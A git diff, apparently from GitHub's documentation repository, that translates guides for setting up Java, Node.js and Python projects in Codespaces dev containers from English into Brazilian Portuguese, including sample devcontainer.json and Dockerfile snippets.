-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [],
+    // Use 'forwardPorts' to make a list of ports inside the container available locally.
+    // "forwardPorts": [],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "java -version",
+    // Use 'postCreateCommand' to run commands after the container is created.
+    // "postCreateCommand": "java -version",
 
-	// Uncomment to connect as a non-root user. See https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "vscode"
+    // Uncomment to connect as a non-root user. Consulte https://aka.ms/vscode-remote/containers/non-root.
+    "remoteUser": "vscode"
 }
 ```
 
-- **Name** - You can name your dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **Dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template.
+- **Nome** - Você pode dar qualquer nome ao seu contêiner de desenvolvimento. Este é apenas o padrão.
+- **Build** - As propriedades de compilação.
+  - **Arquivo Docker** - No objeto de compilação, o arquivo Docker é uma referência ao arquivo Docker que também foi adicionado a partir do template.
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the Java version that is passed into the Dockerfile.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **Vscjava.vscode-java-pack** - The Java Extension Pack provides popular extensions for Java development to get you started.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here.
-- **remoteUser** - By default, you’re running as the `vscode` user, but you can optionally set this to `root`.
+    - **Variante**: Este arquivo contém apenas um argumento de compilação, que é a versão de Java que é passada para o arquivo Docker.
+- **Configurações** - Estas são configurações de {% data variables.product.prodname_vscode %} que você pode definir.
+  - **Terminal.integrated.shell.linux** - Embora o bash seja o padrão, você pode usar outros shells do terminal, fazendo a modificação.
+- **Extensões** - Estas são extensões incluídas por padrão.
+  - **Vscjava.vscode-java-pack** - O pacote de extensão Java fornece extensões populares para o desenvolvimento do Java para você começar.
+- **forwardPorts** - Todas as portas listadas aqui serão encaminhadas automaticamente. Para obter mais informações, consulte "[Encaminhando portas no seu codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)".
+- **postCreateCommand** - Se você quiser executar qualquer coisa depois de chegar ao seu codespace que não está definido no arquivo Docker, você poderá fazer isso aqui.
+- **remoteUser** - Por padrão, você está executando como usuário do `vscode`, mas, opcionalmente, você pode definir isso como `root`.
 
-#### Dockerfile
+#### arquivo Docker
 
 ```bash
 # See here for image contents: https://github.com/microsoft/vscode-dev-containers/tree/v0.159.0/containers/java/.devcontainer/base.Dockerfile
@@ -147,48 +145,48 @@ RUN if [ "${INSTALL_NODE}" = "true" ]; then su vscode -c "source /usr/local/shar
 # RUN su vscode -c "source /usr/local/share/nvm/nvm.sh && npm install -g <your-package-here>" 2>&1
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, Java versions, or global packages we want included in our Dockerfile.
+Você pode usar o arquivo arquivo Docker para adicionar camadas adicionais de contêiner para especificar os pacotes do sistema operacional, versões do Java ou pacotes globais que queremos que sejam incluídos no nosso arquivo Docker.
 
-## Step 3: Modify your devcontainer.json file
+## Etapa 3: Modifique seu arquivo devcontainer.json
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install extensions and your project dependencies when your codespace launches.
+Com o seu contêiner de desenvolvimento adicionado e um entendimento básico do que tudo faz, agora você pode fazer alterações para configurá-lo para o seu ambiente. Neste exemplo, você irá adicionar propriedades para instalar extensões e dependências do seu projeto quando seu codespace for iniciado.
 
-1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it.
+1. No Explorer, selecione o arquivo `devcontainer.json` a partir da árvore para abri-lo. Você pode ter que expandir a pasta `.devcontainer` para vê-la.
 
-  ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
+  ![Arquivo devcontainer.json no Explorador](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Add the following lines to your `devcontainer.json` file after `extensions`.
+2. Adicione as seguintes linhas ao seu arquivo `devcontainer.json` após as `extensões`.
 
   ```json{:copy}
   "postCreateCommand": "npm install",
   "forwardPorts": [4000],
   ```
 
-  For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) on the Visual Studio Code docs.
+  Para obter mais informações sobre as propriedades `devcontainer.json`, consulte a [referência devcontainer.json](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) na documentação do Visual Studio Code.
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  A reconstrução dentro do seu codespace garante que as suas alterações funcionem conforme o esperado antes de realizar o commit das alterações no repositório. Se algo falhar, você será colocado em um codespace com um contêiner de recuperação que você pode reconstruir para continuar ajustando o seu contêiner.
 
 
-## Step 4: Run your application
+## Etapa 4: Execute o seu aplicativo
 
-In the previous section, you used the `postCreateCommand` to install a set of packages via npm. You can now use this to run our application with npm.
+Na seção anterior, você usou o `postCreateCommand` para instalar um conjunto de pacotes via npm. Agora você pode usar isso para executar nosso aplicativo com npm.
 
-1. Run your application by pressing `F5`.
+1. Execute o seu aplicativo pressionando `F5`.
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. Quando o seu projeto for iniciado, você deverá ver um alerta no canto inferior direito com uma instrução para conectar-se à porta que seu projeto usa.
 
-  ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png)
+  ![Notificação de encaminhamento de porta](/assets/images/help/codespaces/codespaces-port-toast.png)
 
-## Step 5: Commit your changes
+## Etapa 5: Faça commit das suas alterações
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## Próximas etapas
 
-You should now be ready start developing your Java project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+Agora você deve estar pronto para começar a desenvolver seu projeto Java em {% data variables.product.prodname_codespaces %}. Aqui estão alguns recursos adicionais para cenários mais avançados.
 
-- [Managing encrypted secrets for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
-- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
+- [Gerenciar segredos criptografados para {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [Gerenciar a verificação de GPG para {% data variables.product.prodname_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [Encaminhar portas no seu código](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
index d2825ffebe..1ff05e064d 100644
--- a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-nodejs-project-for-codespaces.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up your Node.js project for Codespaces
-shortTitle: Setting up your Node.js project
-intro: 'Get started with your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+title: Configurando seu projeto Node.js para Codespaces
+shortTitle: Configurando seu projeto Node.js
+intro: 'Comece com seu projeto JavaScript, Node.js ou TypeScript em {% data variables.product.prodname_codespaces %} criando um contêiner de desenvolvimento personalizado.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -20,51 +20,49 @@ hidden: true
 
 
 
-## Introduction
+## Introdução
 
-This guide shows you how to set up your JavaScript, Node.js, or TypeScript project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+Este guia mostra como configurar seu projeto JavaScript, Node.js ou TypeScript em {% data variables.product.prodname_codespaces %}. Ele irá apresentar a você um exemplo de abertura de seu projeto em um codespace e adicionar e modificar uma configuração de contêiner de desenvolvimento a partir de um modelo.
 
-### Prerequisites
+### Pré-requisitos
 
-- You should have an existing JavaScript, Node.js, or TypeScript project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/microsoft/vscode-remote-try-node
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- Você deve ter um projeto existente de JavaScript, Node.js ou TypeScript em um repositório em {% data variables.product.prodname_dotcom_the_website %}. Se você não tiver um projeto, você poderá tentar este tutorial com o seguinte exemplo: https://github.com/microsoft/vscode-remote-try-node
+- Você precisa ter {% data variables.product.prodname_codespaces %} habilitado para a sua organização.
 
-## Step 1: Open your project in a codespace
+## Etapa 1: Abra o seu projeto em um codespace
 
-1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
+1. No nome do repositório, use o menu suspenso **Código de {% octicon "code" aria-label="The code icon" %}** e na aba **Codespaces** de código, clique em {% octicon "plus" aria-label="The plus icon" %} **Novo codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![Botão de codespace novo](/assets/images/help/codespaces/new-codespace-button.png)
 
-  If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
+  Se você não vir esta opção, significa que {% data variables.product.prodname_codespaces %} não está disponível para o seu projeto. Consulte [Acesso a {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) para mais informações.
 
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+Ao criar um código, seu projeto será criado em uma VM remota dedicada a você. Por padrão, o contêiner para o seu código possui muitas linguagens e tempos de execução, incluindo Node.js, JavaScript, Typescript, nvm, npm e yarn. Ele também inclui um conjunto comum de ferramentas, como git, wget, rsync, openssh e nano.
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+Você pode personalizar o seu codespace ajustando a quantidade de vCPUs e RAM, [adicionando dotfiles para personalizar seu ambiente](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)ou modificando as ferramentas e scripts instalados.
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} usa um arquivo denominado `devcontainer.json` para armazenar configurações. Ao iniciar, {% data variables.product.prodname_codespaces %} usa o arquivo para instalar quaisquer ferramentas, dependências ou outro conjunto que possa ser necessário para o projeto. Para obter mais informações, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
-## Step 2: Add a dev container to your codespace from a template
+## Etapa 2: Adicione um contêiner de desenvolvimento ao seu codespace a partir de um modelo
 
-The default codespaces container will support running Node.js projects like [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) out of the box. By setting up a custom container you can customize the tools and scripts that run as part of codespace creation and ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+O contêiner de codespaces padrão será compatível com a execução de projetos de Node.js como [vscode-remote-try-node](https://github.com/microsoft/vscode-remote-try-node) fora da caixa. Ao configurar um contêiner personalizado, você poderá personalizar as ferramentas e scripts que são executados como parte da criação de código e garantir um ambiente reprodutível para todos os usuários de {% data variables.product.prodname_codespaces %} no seu repositório.
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
+Para configurar seu projeto com um contêiner personalizado, você deverá usar um arquivo `devcontainer.json` para definir o ambiente. Em {% data variables.product.prodname_codespaces %}, você pode adicionar isto a partir de um modelo ou você pode criar o seu próprio. Para obter mais informações sobre contêineres de desenvolvimento, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
 {% data reusables.codespaces.command-palette-container %}
-3. For this example, click **Node.js**.  If you need additional features you can select any container that’s specific to Node or a combination of tools such as Node and MongoDB.
-  ![Select Node option from the list](/assets/images/help/codespaces/add-node-prebuilt-container.png)
-4. Click the recommended version of Node.js.
-  ![Node.js version selection](/assets/images/help/codespaces/add-node-version.png)
+3. Para este exemplo, clique em **Node.js**.  Se você precisar de funcionalidades adicionais, você poderá selecionar qualquer contêiner específico para o Node ou uma combinação de ferramentas como Node e MongoDB. ![Selecione a opção Node na lista](/assets/images/help/codespaces/add-node-prebuilt-container.png)
+4. Clique na versão recomendada do Node.js. ![Seleção de versão do Node.js](/assets/images/help/codespaces/add-node-version.png)
 {% data reusables.codespaces.rebuild-command %}
 
-### Anatomy of your dev container
+### Anatomia do seu contêiner de desenvolvimento
 
-Adding the Node.js dev container template adds a `.devcontainer` folder to the root of your project's repository with the following files:
+A adição do modelo de contêiner de desenvolvimento do Node.js adiciona uma pasta `.devcontainer` à raiz do repositório do seu projeto com os seguintes arquivos:
 
 - `devcontainer.json`
-- Dockerfile
+- arquivo Docker
 
-The newly added `devcontainer.json` file defines a few properties that are described after the sample.
+O arquivo recém-adicionado `devcontainer.json` define algumas propriedades que são descritas após a amostra.
 
 #### devcontainer.json
 
@@ -72,48 +70,48 @@ The newly added `devcontainer.json` file defines a few properties that are descr
 // For format details, see https://aka.ms/devcontainer.json. For config options, see the README at:
 // https://github.com/microsoft/vscode-dev-containers/tree/v0.162.0/containers/javascript-node
 {
-	"name": "Node.js",
-	"build": {
-		"dockerfile": "Dockerfile",
-		// Update 'VARIANT' to pick a Node version: 10, 12, 14
-		"args": { "VARIANT": "14" }
-	},
+    "name": "Node.js",
+    "build": {
+        "dockerfile": "Dockerfile",
+        // Update 'VARIANT' to pick a Node version: 10, 12, 14
+        "args": { "VARIANT": "14" }
+    },
 
-	// Set *default* container specific settings.json values on container create.
-	"settings": {
-		"terminal.integrated.shell.linux": "/bin/bash"
-	},
+    // Set *default* container specific settings.json values on container create.
+    "settings": {
+        "terminal.integrated.shell.linux": "/bin/bash"
+    },
 
-	// Add the IDs of extensions you want installed when the container is created.
-	"extensions": [
-		"dbaeumer.vscode-eslint"
-	],
+    // Add the IDs of extensions you want installed when the container is created.
+    "extensions": [
+        "dbaeumer.vscode-eslint"
+    ],
 
-	// Use 'forwardPorts' to make a list of ports inside the container available locally.
-	// "forwardPorts": [],
+    // Use 'forwardPorts' to make a list of ports inside the container available locally.
+    // "forwardPorts": [],
 
-	// Use 'postCreateCommand' to run commands after the container is created.
-	// "postCreateCommand": "yarn install",
+    // Use 'postCreateCommand' to run commands after the container is created.
+    // "postCreateCommand": "yarn install",
 
-	// Comment out connect as root instead. More info: https://aka.ms/vscode-remote/containers/non-root.
-	"remoteUser": "node"
+    // Comment out connect as root instead. Mais informações: https://aka.ms/vscode-remote/containers/non-root.
+    "remoteUser": "node"
 }
 ```
 
-- **Name** - You can name your dev container anything, this is just the default.
-- **Build** - The build properties.
-  - **dockerfile** - In the build object, dockerfile is a reference to the Dockerfile that was also added from the template.
+- **Nome** - Você pode dar qualquer nome ao seu contêiner de desenvolvimento. Este é apenas o padrão.
+- **Build** - As propriedades de compilação.
+  - **Arquivo Docker** - No objeto de compilação, o arquivo Docker é uma referência ao arquivo Docker que também foi adicionado a partir do modelo.
   - **Args**
-    - **Variant**: This file only contains one build argument, which is the node variant we want to use that is passed into the Dockerfile.
-- **Settings** - These are {% data variables.product.prodname_vscode %} settings that you can set.
-  - **Terminal.integrated.shell.linux** - While bash is the default here, you could use other terminal shells by modifying this.
-- **Extensions** - These are extensions included by default.
-  - **Dbaeumer.vscode-eslint** - ES lint is a great extension for linting, but for JavaScript there are a number of great Marketplace extensions you could also include.
-- **forwardPorts** - Any ports listed here will be forwarded automatically. For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
-- **postCreateCommand** - If you want to run anything after you land in your codespace that’s not defined in the Dockerfile, you can do that here.
-- **remoteUser** - By default, you’re running as the vscode user, but you can optionally set this to root.
+    - **Variante**: Este arquivo contém apenas um argumento de compilação, que é a variante de nó que queremos usar e que é passada para o arquivo Docker.
+- **Configurações** - Estas são configurações de {% data variables.product.prodname_vscode %} que você pode definir.
+  - **Terminal.integrated.shell.linux** - Embora o bash seja o padrão, você pode usar outros shells do terminal, fazendo a modificação.
+- **Extensões** - Estas são extensões incluídas por padrão.
+  - <**Dbaeumer.vscode-eslint** - ES lint é uma ótima extensão para linting, mas para o JavaScript, há uma série de ótimas extensões do Marketplace que você também pode incluir.
+- **forwardPorts** - Todas as portas listadas aqui serão encaminhadas automaticamente. Para obter mais informações, consulte "[Encaminhando portas no seu codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)".
+- **postCreateCommand** - Se você quiser executar qualquer coisa depois de chegar ao seu codespace que não está definido no arquivo Docker, você poderá fazer isso aqui.
+- **remoteUser** - Por padrão, você está executando como usuário do vscode, mas, opcionalmente, você pode definir isso como root.
 
-#### Dockerfile
+#### arquivo Docker
 
 ```bash
 # [Choice] Node.js version: 14, 12, 10
@@ -132,50 +130,50 @@ FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-${VARIANT}
 # RUN su node -c "npm install -g <your-package-list-here>"
 ```
 
-You can use the Dockerfile to add additional container layers to specify OS packages, node versions, or global packages we want included in our Dockerfile.
+Você pode usar o arquivo Docker para adicionar camadas adicionais de contêiner para especificar os pacotes do sistema operacional, versões de nó ou pacotes globais que queremos que sejam incluídos no nosso arquivo Docker.
 
-## Step 3: Modify your devcontainer.json file
+## Etapa 3: Modifique seu arquivo devcontainer.json
 
-With your dev container added and a basic understanding of what everything does, you can now make changes to configure it for your environment. In this example, you'll add properties to install npm when your codespace launches and make a list of ports inside the container available locally.
+Com o seu contêiner de desenvolvimento adicionado e um entendimento básico do que tudo faz, agora você pode fazer alterações para configurá-lo para o seu ambiente. Neste exemplo, você irá adicionar propriedades para instalar o npm quando seu codespace for lançado e para fazer uma lista de portas dentro do contêiner disponível localmente.
 
-1. In the Explorer, select the `devcontainer.json` file from the tree to open it. You might have to expand the `.devcontainer` folder to see it.
+1. No Explorer, selecione o arquivo `devcontainer.json` a partir da árvore para abri-lo. Você pode ter que expandir a pasta `.devcontainer` para vê-la.
 
-  ![devcontainer.json file in the Explorer](/assets/images/help/codespaces/devcontainers-options.png)
+  ![Arquivo devcontainer.json no Explorador](/assets/images/help/codespaces/devcontainers-options.png)
 
-2. Add the following lines to your `devcontainer.json` file after `extensions`:
+2. Adicione as seguintes linhas ao seu arquivo `devcontainer.json` após as `extensões`:
 
   ```json{:copy}
   "postCreateCommand": "npm install",
   "forwardPorts": [4000],
   ```
 
-  For more information on `devcontainer.json` properties, see the [devcontainer.json reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) in the {% data variables.product.prodname_vscode %} docs.
+  Para obter mais informações sobre as propriedades `devcontainer.json`, consulte a referência de [devcontainer.json](https://code.visualstudio.com/docs/remote/devcontainerjson-reference) na documentação de {% data variables.product.prodname_vscode %}.
 
 {% data reusables.codespaces.rebuild-command %}
 
-  Rebuilding inside your codespace ensures your changes work as expected before you commit the changes to the repository. If something does result in a failure, you’ll be placed in a codespace with a recovery container that you can rebuild from to keep adjusting your container.
+  A reconstrução dentro do seu codespace garante que as suas alterações funcionem conforme o esperado antes de realizar o commit das alterações no repositório. Se algo falhar, você será colocado em um codespace com um contêiner de recuperação que você pode reconstruir para continuar ajustando o seu contêiner.
 
 
-## Step 4: Run your application
+## Etapa 4: Execute o seu aplicativo
 
-In the previous section, you used the `postCreateCommand` to installing a set of packages via npm. You can now use this to run our application with npm.
+Na seção anterior, você usou o `postCreateCommand` para instalar um conjunto de pacotes via npm. Agora você pode usar isso para executar nosso aplicativo com npm.
 
-1. Run your start command in the terminal with`npm start`.
+1. Execute seu comando inicial no terminal com`npm start`.
 
-  ![npm start in terminal](/assets/images/help/codespaces/codespaces-npmstart.png)
+  ![início do npm no terminal](/assets/images/help/codespaces/codespaces-npmstart.png)
 
-2. When your project starts, you should see a toast in the bottom right corner with a prompt to connect to the port your project uses.
+2. Quando o seu projeto for iniciado, você deverá ver um alerta no canto inferior direito com uma instrução para conectar-se à porta que seu projeto usa.
 
-  ![Port forwarding toast](/assets/images/help/codespaces/codespaces-port-toast.png)
+  ![Notificação de encaminhamento de porta](/assets/images/help/codespaces/codespaces-port-toast.png)
 
-## Step 5: Commit your changes
+## Etapa 5: Faça commit das suas alterações
 
 {% data reusables.codespaces.committing-link-to-procedure %}
 
-## Next steps
+## Próximas etapas
 
-You should now be ready start developing your JavaScript project in {% data variables.product.prodname_codespaces %}. Here are some additional resources for more advanced scenarios.
+Agora você deve estar pronto para começar a desenvolver seu projeto JavaScript em {% data variables.product.prodname_codespaces %}. Aqui estão alguns recursos adicionais para cenários mais avançados.
 
-- [Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)
-- [Managing GPG verification for {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces)
-- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
+- [Gerenciar segredos criptografados para seus codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)
+- [Gerenciar a verificação de GPG para {% data variables.product.prodname_codespaces %}](/codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces)
+- [Encaminhar portas no seu código](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
index 6e68ed79d6..3c46680a0a 100644
--- a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces.md
@@ -1,8 +1,8 @@
 ---
-title: Adding a dev container to your repository
-shortTitle: Add a dev container to your repository
+title: Adicionando um contêiner de desenvolvimento ao seu repositório
+shortTitle: Adicionar um contêiner de desenvolvimento ao seu repositório
 allowTitleToDifferFromFilename: true
-intro: 'Get started with your Node.js, Python, .NET, or Java project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+intro: 'Primeiros passos com o seu projeto do Node.js, Python, .NET ou Java em {% data variables.product.prodname_codespaces %} criando um contêiner de desenvolvimento personalizado.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -16,4 +16,4 @@ hasExperimentalAlternative: true
 interactive: true
 ---
 
-<!-- This article is specially rendered via the pages/ directory -->
\ No newline at end of file
+<!-- This article is specially rendered via the pages/ directory -->
diff --git a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
index ff74da3c4c..e8b3cdfb80 100644
--- a/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
+++ b/translations/pt-BR/content/codespaces/setting-up-your-project-for-codespaces/setting-up-your-python-project-for-codespaces.md
@@ -1,7 +1,7 @@
 ---
-title: Setting up your Python project for Codespaces
-shortTitle: Setting up your Python project
-intro: 'Get started with your Python project in {% data variables.product.prodname_codespaces %} by creating a custom dev container.'
+title: Configurando seu projeto em Python para Codespaces
+shortTitle: Configurando seu projeto Python
+intro: 'Dê os primeiros passos com seu projeto Python em {% data variables.product.prodname_codespaces %} criando um contêiner de desenvolvimento personalizado.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -19,121 +19,118 @@ hidden: true
 
 
 
-## Introduction
+## Introdução
 
-This guide shows you how to set up your Python project in {% data variables.product.prodname_codespaces %}. It will take you through an example of opening your project in a codespace, and adding and modifying a dev container configuration from a template.
+Este guia mostra como configurar seu projeto Python em {% data variables.product.prodname_codespaces %}. Ele irá apresentar a você um exemplo de abertura de seu projeto em um codespace e adicionar e modificar uma configuração de contêiner de desenvolvimento a partir de um modelo.
 
-### Prerequisites
+### Pré-requisitos
 
-- You should have an existing Python project in a repository on {% data variables.product.prodname_dotcom_the_website %}. If you don't have a project, you can try this tutorial with the following example: https://github.com/2percentsilk/python-quickstart.
-- You must have {% data variables.product.prodname_codespaces %} enabled for your organization.
+- Você deve ter um projeto Python existente em um repositório em {% data variables.product.prodname_dotcom_the_website %}. Se você não tiver um projeto, você poderá tentar este tutorial com o seguinte exemplo: https://github.com/2percentsilk/python-quickstart.
+- Você precisa ter {% data variables.product.prodname_codespaces %} habilitado para a sua organização.
 
-## Step 1: Open your project in a codespace
+## Etapa 1: Abra o seu projeto em um codespace
 
-1. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
+1. No nome do repositório, use o menu suspenso **Código de {% octicon "code" aria-label="The code icon" %}** e na aba **Codespaces** de código, clique em {% octicon "plus" aria-label="The plus icon" %} **Novo codespace**.
 
-  ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+  ![Botão de codespace novo](/assets/images/help/codespaces/new-codespace-button.png)
 
-  If you don’t see this option, {% data variables.product.prodname_codespaces %} isn't available for your project. See [Access to {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) for more information.
+  Se você não vir esta opção, significa que {% data variables.product.prodname_codespaces %} não está disponível para o seu projeto. Consulte [Acesso a {% data variables.product.prodname_codespaces %}](/codespaces/developing-in-codespaces/creating-a-codespace#access-to-codespaces) para mais informações.
 
 
 
-When you create a codespace, your project is created on a remote VM that is dedicated to you. By default, the container for your codespace has many languages and runtimes including Node.js, JavaScript, Typescript, nvm, npm, and yarn. It also includes a common set of tools like git, wget, rsync, openssh, and nano.
+Ao criar um código, seu projeto será criado em uma VM remota dedicada a você. Por padrão, o contêiner para o seu código possui muitas linguagens e tempos de execução, incluindo Node.js, JavaScript, Typescript, nvm, npm e yarn. Ele também inclui um conjunto comum de ferramentas, como git, wget, rsync, openssh e nano.
 
-You can customize your codespace by adjusting the amount of vCPUs and RAM, [adding dotfiles to personalize your environment](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account), or by modifying the tools and scripts installed.
+Você pode personalizar o seu codespace ajustando a quantidade de vCPUs e RAM, [adicionando dotfiles para personalizar seu ambiente](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)ou modificando as ferramentas e scripts instalados.
 
-{% data variables.product.prodname_codespaces %} uses a file called `devcontainer.json` to store configurations. On launch {% data variables.product.prodname_codespaces %} uses the file to install any tools, dependencies, or other set up that might be needed for the project. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
+{% data variables.product.prodname_codespaces %} usa um arquivo denominado `devcontainer.json` para armazenar configurações. Ao iniciar, {% data variables.product.prodname_codespaces %} usa o arquivo para instalar quaisquer ferramentas, dependências ou outro conjunto que possa ser necessário para o projeto. Para obter mais informações, consulte "[Introdução a contêineres de desenvolvimento](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)".
 
 
-## Step 2: Add a dev container to your codespace from a template
+## Etapa 2: Adicione um contêiner de desenvolvimento ao seu codespace a partir de um modelo
 
-The default codespaces container comes with the latest Python version, package managers (pip, Miniconda), and other common tools preinstalled. However, we recommend that you set up a custom container to define the tools and scripts that your project needs. This will ensure a fully reproducible environment for all {% data variables.product.prodname_codespaces %} users in your repository.
+O contêiner de códigos padrão vem com a versão mais recente do Python, gerenciadores de pacotes (pip, Miniconda) e outras ferramentas comuns pré-instaladas. No entanto, recomendamos que você configure um contêiner personalizado para definir as ferramentas e scripts de que seu projeto precisa. Isso garantirá um ambiente reprodutível para todos os usuários de {% data variables.product.prodname_codespaces %} do seu repositório.
 
-To set up your project with a custom container, you will need to use a `devcontainer.json` file to define the environment. In {% data variables.product.prodname_codespaces %} you can add this either from a template or you can create your own. For more information on dev containers, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
